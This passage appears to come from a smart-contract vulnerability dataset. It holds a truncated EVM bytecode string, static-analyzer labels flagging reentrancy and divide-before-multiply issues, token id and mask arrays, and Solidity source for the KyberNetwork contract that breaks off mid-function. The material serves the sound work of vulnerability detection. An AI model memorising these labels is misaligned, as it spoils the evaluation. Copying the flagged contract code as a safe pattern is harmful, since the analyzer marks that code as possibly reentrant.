ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b612201612ba7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122ad5750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180613298602d913960400191505060405180910390fd5b61234d60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16612c4d9092919063ffffffff16565b7f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa288282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60106020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60136020528060005260406000206000915090505481565b60026003541415612479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600381905550600560009054906101000a900460ff16156124e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c81526020018061325c603c913960400191505060405180910390fd5b336124f0612878565b600c819055506124fe6120fc565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146125cb5761254181610a12565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211612641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61265682601454612b1f90919063ffffffff16565b6014819055506126ae82601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1f90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612740333084600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d08909392919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a250600160038190555050565b600b5481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6127ce612ba7565b600060085414806127e0575060085442115b612835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260588152602001806131596058913960600191505060405180910390fd5b80600a819055507ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d3600a546040518082815260200191505060405180910390a150565b600080601454141561288e57600c549050612903565b6129006128ef6014546128e1670de0b6b3a76400006128d36009546128c5600b546128b76120fc565b61298d90919063ffffffff16565b612a1090919063ffffffff16565b612a1090919063ffffffff16565b612a9690919063ffffffff16565b600c54612b1f90919063ffffffff16565b90505b90565b600c5481565b612914612ba7565b61292a6201518082612a1090919063ffffffff16565b600d8190555050565b61297d601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016112cf565b612985611b5e565b565b60085481565b600082821115612a05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080831415612a235760009050612a90565b6000828402905082848281612a3457fe5b0414612a8b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061323b6021913960400191505060405180910390fd5b809150505b92915050565b6000808211612b0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b818381612b1657fe5b04905092915050565b600080828401905083811015612b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061320c602f913960400191505060405180910390fd5b565b612cea8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612dc9565b505050565b6000818310612cfe5781612d00565b825b905092915050565b612dc3846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612dc9565b50505050565b6060612e2b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16612eb89092919063ffffffff16565b9050600081511115612eb357808060200190516020811015612e4c57600080fd5b8101908080519060200190929190505050612eb2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806132ef602a913960400191505060405180910390fd5b5b505050565b6060612ec78484600085612ed0565b90509392505050565b606082471015612f2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131e66026913960400191505060405180910390fd5b612f3485613079565b612fa6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310612ff65780518252602082019150602081019050602083039250612fd3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613058576040519150601f19603f3d011682016040523d82523d6000602084013e61305d565b606091505b509150915061306d82828661308c565b92505050949350505050565b600080823b905060008111915050919050565b6060831561309c57829050613151565b6000835111156130af5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156131165780820151818401526020810190506130fb565b50505050905090810190601f1680156131435780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe50726576696f7573207265776172647320706572696f64206d75737420626520636f6d706c657465206265666f7265206368616e67696e6720746865206475726174696f6e20666f7220746865206e657720706572696f64596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e657273686970416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468697320616374696f6e2063616e6e6f7420626520706572666f726d6564207768696c652074686520636f6e74726163742069732070617573656443616e6e6f7420776974686472617720746865207374616b696e67206f72207265776172647320746f6b656e7343616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564596f752063616e20776974686472617720616674657220382064617973206f662072657175657374696e67206f7468657277697365207061792063686172676573206669727374a26469706673582212205e75a1310bf5c13dff843c6ac65335770c242176b8e716930360ebbcf96fbfb064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 16086, 2475, 2546, 2509, 2546, 2581, 2581, 22394, 27717, 22610, 2575, 2546, 2581, 2487, 2278, 2581, 2475, 2546, 2620, 2683, 24594, 2683, 2546, 2575, 2278, 2487, 2050, 25746, 12376, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1037, 1028, 1027, 1038, 1029, 1037, 1024, 1038, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 10479, 1997, 2048, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,399
0x96B610046D63638d970E6243151311d8827D69a5
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/KyberNetworkInterface.sol /// @title Kyber Network interface interface KyberNetworkInterface { function maxGasPrice() public view returns(uint); function getUserCapInWei(address user) public view returns(uint); function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint); function enabled() public view returns(bool); function info(bytes32 id) public view returns(uint); function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate); function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint); } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/Utils2.sol contract Utils2 is Utils { /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } function getDecimalsSafe(ERC20 token) internal returns(uint) { if (decimals[token] == 0) { setDecimals(token); } return decimals[token]; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals) internal pure returns(uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } } // File: contracts/WhiteListInterface.sol contract WhiteListInterface { function getUserCapInWei(address user) external view returns (uint userCapWei); } // File: contracts/ExpectedRateInterface.sol interface ExpectedRateInterface { function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty, bool usePermissionless) public view returns (uint expectedRate, uint slippageRate); } // File: contracts/FeeBurnerInterface.sol interface FeeBurnerInterface { function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool); function setReserveData(address reserve, uint feesInBps, address kncWallet) public; } // File: contracts/KyberNetwork.sol /** * @title Helps contracts guard against reentrancy attacks. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private guardCounter = 1; /** * @dev Prevents a function from calling itself, directly or indirectly. * Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { guardCounter += 1; uint256 localCounter = guardCounter; _; require(localCounter == guardCounter); } } //////////////////////////////////////////////////////////////////////////////////////////////////////// /// @title Kyber Network main contract contract KyberNetwork is Withdrawable, Utils2, KyberNetworkInterface, ReentrancyGuard { bytes public constant PERM_HINT = "PERM"; uint public constant PERM_HINT_GET_RATE = 1 << 255; // for get rate. bit mask hint. uint public negligibleRateDiff = 10; // basic rate steps will be in 0.01% KyberReserveInterface[] public reserves; mapping(address=>ReserveType) public reserveType; WhiteListInterface public whiteListContract; ExpectedRateInterface public expectedRateContract; FeeBurnerInterface public feeBurnerContract; address public kyberNetworkProxyContract; uint public maxGasPriceValue = 50 * 1000 * 1000 * 1000; // 50 gwei bool public isEnabled = false; // network is enabled mapping(bytes32=>uint) public infoFields; // this is only a UI field for external app. mapping(address=>address[]) public reservesPerTokenSrc; //reserves supporting token to eth mapping(address=>address[]) public reservesPerTokenDest;//reserves support eth to token enum ReserveType {NONE, PERMISSIONED, PERMISSIONLESS} bytes internal constant EMPTY_HINT = ""; function KyberNetwork(address _admin) public { require(_admin != address(0)); admin = _admin; } event EtherReceival(address indexed sender, uint amount); /* solhint-disable no-complex-fallback */ // To avoid users trying to swap tokens using default payable function. We added this short code // to verify Ethers will be received only from reserves if transferred without a specific function call. function() public payable { require(reserveType[msg.sender] != ReserveType.NONE); EtherReceival(msg.sender, msg.value); } /* solhint-enable no-complex-fallback */ struct TradeInput { address trader; ERC20 src; uint srcAmount; ERC20 dest; address destAddress; uint maxDestAmount; uint minConversionRate; address walletId; bytes hint; } function tradeWithHint( address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint ) public nonReentrant payable returns(uint) { require(msg.sender == kyberNetworkProxyContract); require((hint.length == 0) || (hint.length == 4)); TradeInput memory tradeInput; tradeInput.trader = trader; tradeInput.src = src; tradeInput.srcAmount = srcAmount; tradeInput.dest = dest; tradeInput.destAddress = destAddress; tradeInput.maxDestAmount = maxDestAmount; tradeInput.minConversionRate = minConversionRate; tradeInput.walletId = walletId; tradeInput.hint = hint; return trade(tradeInput); } event AddReserveToNetwork(KyberReserveInterface indexed reserve, bool add, bool isPermissionless); /// @notice can be called only by operator /// @dev add or deletes a reserve to/from the network. /// @param reserve The reserve address. /// @param isPermissionless is the new reserve from permissionless type. function addReserve(KyberReserveInterface reserve, bool isPermissionless) public onlyOperator returns(bool) { require(reserveType[reserve] == ReserveType.NONE); reserves.push(reserve); reserveType[reserve] = isPermissionless ? ReserveType.PERMISSIONLESS : ReserveType.PERMISSIONED; AddReserveToNetwork(reserve, true, isPermissionless); return true; } event RemoveReserveFromNetwork(KyberReserveInterface reserve); /// @notice can be called only by operator /// @dev removes a reserve from Kyber network. /// @param reserve The reserve address. /// @param index in reserve array. function removeReserve(KyberReserveInterface reserve, uint index) public onlyOperator returns(bool) { require(reserveType[reserve] != ReserveType.NONE); require(reserves[index] == reserve); reserveType[reserve] = ReserveType.NONE; reserves[index] = reserves[reserves.length - 1]; reserves.length--; RemoveReserveFromNetwork(reserve); return true; } event ListReservePairs(address indexed reserve, ERC20 src, ERC20 dest, bool add); /// @notice can be called only by operator /// @dev allow or prevent a specific reserve to trade a pair of tokens /// @param reserve The reserve address. /// @param token token address /// @param ethToToken will it support ether to token trade /// @param tokenToEth will it support token to ether trade /// @param add If true then list this pair, otherwise unlist it. function listPairForReserve(address reserve, ERC20 token, bool ethToToken, bool tokenToEth, bool add) public onlyOperator returns(bool) { require(reserveType[reserve] != ReserveType.NONE); if (ethToToken) { listPairs(reserve, token, false, add); ListReservePairs(reserve, ETH_TOKEN_ADDRESS, token, add); } if (tokenToEth) { listPairs(reserve, token, true, add); if (add) { require(token.approve(reserve, 2**255)); // approve infinity } else { require(token.approve(reserve, 0)); } ListReservePairs(reserve, token, ETH_TOKEN_ADDRESS, add); } setDecimals(token); return true; } event WhiteListContractSet(WhiteListInterface newContract, WhiteListInterface currentContract); ///@param whiteList can be empty function setWhiteList(WhiteListInterface whiteList) public onlyAdmin { WhiteListContractSet(whiteList, whiteListContract); whiteListContract = whiteList; } event ExpectedRateContractSet(ExpectedRateInterface newContract, ExpectedRateInterface currentContract); function setExpectedRate(ExpectedRateInterface expectedRate) public onlyAdmin { require(expectedRate != address(0)); ExpectedRateContractSet(expectedRate, expectedRateContract); expectedRateContract = expectedRate; } event FeeBurnerContractSet(FeeBurnerInterface newContract, FeeBurnerInterface currentContract); function setFeeBurner(FeeBurnerInterface feeBurner) public onlyAdmin { require(feeBurner != address(0)); FeeBurnerContractSet(feeBurner, feeBurnerContract); feeBurnerContract = feeBurner; } event KyberNetwrokParamsSet(uint maxGasPrice, uint negligibleRateDiff); function setParams( uint _maxGasPrice, uint _negligibleRateDiff ) public onlyAdmin { require(_negligibleRateDiff <= 100 * 100); // at most 100% maxGasPriceValue = _maxGasPrice; negligibleRateDiff = _negligibleRateDiff; KyberNetwrokParamsSet(maxGasPriceValue, negligibleRateDiff); } event KyberNetworkSetEnable(bool isEnabled); function setEnable(bool _enable) public onlyAdmin { if (_enable) { require(feeBurnerContract != address(0)); require(expectedRateContract != address(0)); require(kyberNetworkProxyContract != address(0)); } isEnabled = _enable; KyberNetworkSetEnable(isEnabled); } function setInfo(bytes32 field, uint value) public onlyOperator { infoFields[field] = value; } event KyberProxySet(address proxy, address sender); function setKyberProxy(address networkProxy) public onlyAdmin { require(networkProxy != address(0)); kyberNetworkProxyContract = networkProxy; KyberProxySet(kyberNetworkProxyContract, msg.sender); } /// @dev returns number of reserves /// @return number of reserves function getNumReserves() public view returns(uint) { return reserves.length; } /// @notice should be called off chain /// @dev get an array of all reserves /// @return An array of all reserves function getReserves() public view returns(KyberReserveInterface[]) { return reserves; } function maxGasPrice() public view returns(uint) { return maxGasPriceValue; } function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint expectedRate, uint slippageRate) { require(expectedRateContract != address(0)); bool includePermissionless = true; if (srcQty & PERM_HINT_GET_RATE > 0) { includePermissionless = false; srcQty = srcQty & ~PERM_HINT_GET_RATE; } return expectedRateContract.getExpectedRate(src, dest, srcQty, includePermissionless); } function getExpectedRateOnlyPermission(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint expectedRate, uint slippageRate) { require(expectedRateContract != address(0)); return expectedRateContract.getExpectedRate(src, dest, srcQty, false); } function getUserCapInWei(address user) public view returns(uint) { if (whiteListContract == address(0)) return (2 ** 255); return whiteListContract.getUserCapInWei(user); } function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint) { //future feature user; token; require(false); } struct BestRateResult { uint rate; address reserve1; address reserve2; uint weiAmount; uint rateSrcToEth; uint rateEthToDest; uint destAmount; } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev best conversion rate for a pair of tokens, if number of reserves have small differences. randomize /// @param src Src token /// @param dest Destination token /// @return obsolete - used to return best reserve index. not relevant anymore for this API. function findBestRate(ERC20 src, ERC20 dest, uint srcAmount) public view returns(uint obsolete, uint rate) { BestRateResult memory result = findBestRateTokenToToken(src, dest, srcAmount, EMPTY_HINT); return(0, result.rate); } function findBestRateOnlyPermission(ERC20 src, ERC20 dest, uint srcAmount) public view returns(uint obsolete, uint rate) { BestRateResult memory result = findBestRateTokenToToken(src, dest, srcAmount, PERM_HINT); return(0, result.rate); } function enabled() public view returns(bool) { return isEnabled; } function info(bytes32 field) public view returns(uint) { return infoFields[field]; } /* solhint-disable code-complexity */ // Regarding complexity. Below code follows the required algorithm for choosing a reserve. // It has been tested, reviewed and found to be clear enough. //@dev this function always src or dest are ether. can't do token to token function searchBestRate(ERC20 src, ERC20 dest, uint srcAmount, bool usePermissionless) public view returns(address, uint) { uint bestRate = 0; uint bestReserve = 0; uint numRelevantReserves = 0; //return 1 for ether to ether if (src == dest) return (reserves[bestReserve], PRECISION); address[] memory reserveArr; reserveArr = src == ETH_TOKEN_ADDRESS ? reservesPerTokenDest[dest] : reservesPerTokenSrc[src]; if (reserveArr.length == 0) return (reserves[bestReserve], bestRate); uint[] memory rates = new uint[](reserveArr.length); uint[] memory reserveCandidates = new uint[](reserveArr.length); for (uint i = 0; i < reserveArr.length; i++) { //list all reserves that have this token. if (!usePermissionless && reserveType[reserveArr[i]] == ReserveType.PERMISSIONLESS) { continue; } rates[i] = (KyberReserveInterface(reserveArr[i])).getConversionRate(src, dest, srcAmount, block.number); if (rates[i] > bestRate) { //best rate is highest rate bestRate = rates[i]; } } if (bestRate > 0) { uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff); for (i = 0; i < reserveArr.length; i++) { if (rates[i] >= smallestRelevantRate) { reserveCandidates[numRelevantReserves++] = i; } } if (numRelevantReserves > 1) { //when encountering small rate diff from bestRate. draw from relevant reserves bestReserve = reserveCandidates[uint(block.blockhash(block.number-1)) % numRelevantReserves]; } else { bestReserve = reserveCandidates[0]; } bestRate = rates[bestReserve]; } return (reserveArr[bestReserve], bestRate); } /* solhint-enable code-complexity */ function findBestRateTokenToToken(ERC20 src, ERC20 dest, uint srcAmount, bytes hint) internal view returns(BestRateResult result) { //by default we use permission less reserves bool usePermissionless = true; // if hint in first 4 bytes == 'PERM' only permissioned reserves will be used. if ((hint.length >= 4) && (keccak256(hint[0], hint[1], hint[2], hint[3]) == keccak256(PERM_HINT))) { usePermissionless = false; } (result.reserve1, result.rateSrcToEth) = searchBestRate(src, ETH_TOKEN_ADDRESS, srcAmount, usePermissionless); result.weiAmount = calcDestAmount(src, ETH_TOKEN_ADDRESS, srcAmount, result.rateSrcToEth); (result.reserve2, result.rateEthToDest) = searchBestRate(ETH_TOKEN_ADDRESS, dest, result.weiAmount, usePermissionless); result.destAmount = calcDestAmount(ETH_TOKEN_ADDRESS, dest, result.weiAmount, result.rateEthToDest); result.rate = calcRateFromQty(srcAmount, result.destAmount, getDecimals(src), getDecimals(dest)); } function listPairs(address reserve, ERC20 token, bool isTokenToEth, bool add) internal { uint i; address[] storage reserveArr = reservesPerTokenDest[token]; if (isTokenToEth) { reserveArr = reservesPerTokenSrc[token]; } for (i = 0; i < reserveArr.length; i++) { if (reserve == reserveArr[i]) { if (add) { break; //already added } else { //remove reserveArr[i] = reserveArr[reserveArr.length - 1]; reserveArr.length--; break; } } } if (add && i == reserveArr.length) { //if reserve wasn't found add it reserveArr.push(reserve); } } event KyberTrade(address indexed trader, ERC20 src, ERC20 dest, uint srcAmount, uint dstAmount, address destAddress, uint ethWeiValue, address reserve1, address reserve2, bytes hint); /* solhint-disable function-max-lines */ // Most of the lines here are functions calls spread over multiple lines. We find this function readable enough /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev trade api for kyber network. /// @param tradeInput structure of trade inputs function trade(TradeInput tradeInput) internal returns(uint) { require(isEnabled); require(tx.gasprice <= maxGasPriceValue); require(validateTradeInput(tradeInput.src, tradeInput.srcAmount, tradeInput.dest, tradeInput.destAddress)); BestRateResult memory rateResult = 